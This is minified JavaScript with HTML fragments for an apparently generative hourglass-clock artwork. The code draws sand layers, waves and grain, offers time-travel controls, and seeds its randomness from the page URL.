+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
